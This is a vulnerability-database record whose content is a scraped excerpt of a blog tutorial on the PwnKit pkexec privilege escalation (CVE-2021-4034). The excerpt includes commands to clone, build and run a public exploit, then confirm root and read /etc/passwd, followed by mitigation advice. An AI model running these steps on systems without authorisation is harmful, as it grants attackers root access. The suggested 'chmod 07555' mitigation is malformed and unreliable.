{"uuid": "8d5c0074-33fa-43ab-b338-990a3aa7106d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-4034", "type": "seen", "source": "https://t.me/hacking_Attack/42042", "content": "vjfMtE0FMmCubXnA0o79A=s16000 \n\nAttack vector: An attacker can create an environment variable and use this memory corruption technique to run his own executable named \u201cvalue.\u201d Hence, an attacker can use pre-existing environment variable privilege escalation methods to exploit this. DemonstrationA proof of concept for this vulnerability has been uploaded on github which can be found here. To run the attack, we simply need to clone the repository, make the executable and run it. The program will exploit this memory corruption weakness as explained above.\ncd /tmp\ngit clone https://github.com/berdav/CVE-2021-4034 pwnkit\nmake\n./cve-2021-4034\nwhoami\ncat /etc/passwd \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjWQ7pM_Bqk5j2m3mkyLI1KKRdXiFPtQc7Hh42-G6wwxYtDHFHZSDwdi6KFtP62KDNZFn7BLGdwhwQRfObiMwYjEPrFjm_hX3d69SjHy1mcT1BmpAs4Yh6-yh5A05cTwxJSGSQU2LsYHApdtMpinLYwlBQUlaxj9DAaSO5CO0fc71W1kOT4QlKV6cH-qQ=s16000 \n\nAnd just with two commands, we have exploited pkexec\u2019s vulnerability and escalated ourselves to root! Mitigation* The vulnerability has already been patched by respective vendors. In Ubuntu 20.04 policykit-1 \u2013 0.105-26ubuntu1.2 version mitigates this weakness.\n* If no patches are available for your operating system, you can remove the SUID-bit from pkexec as temporary mitigation.\nchmod 07555 /usr/bin/pkexec ConclusionAll of the unupdated older versions of Debian flavours and Red hat flavours are susceptible to this attack making it a severe risk for an organization. The ease of exploitation of this attack makes it even more dangerous. It is highly recommended that sysadmins update their installed polkit packages today. Thanks for reading.\n\nAuthor: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here\n\nThe post Linux Privilege Escalation: PwnKit (CVE 2021-4034) appeared first on Hacking Articles.", "creation_timestamp": "2026-09-01T20:01:56.577320Z"}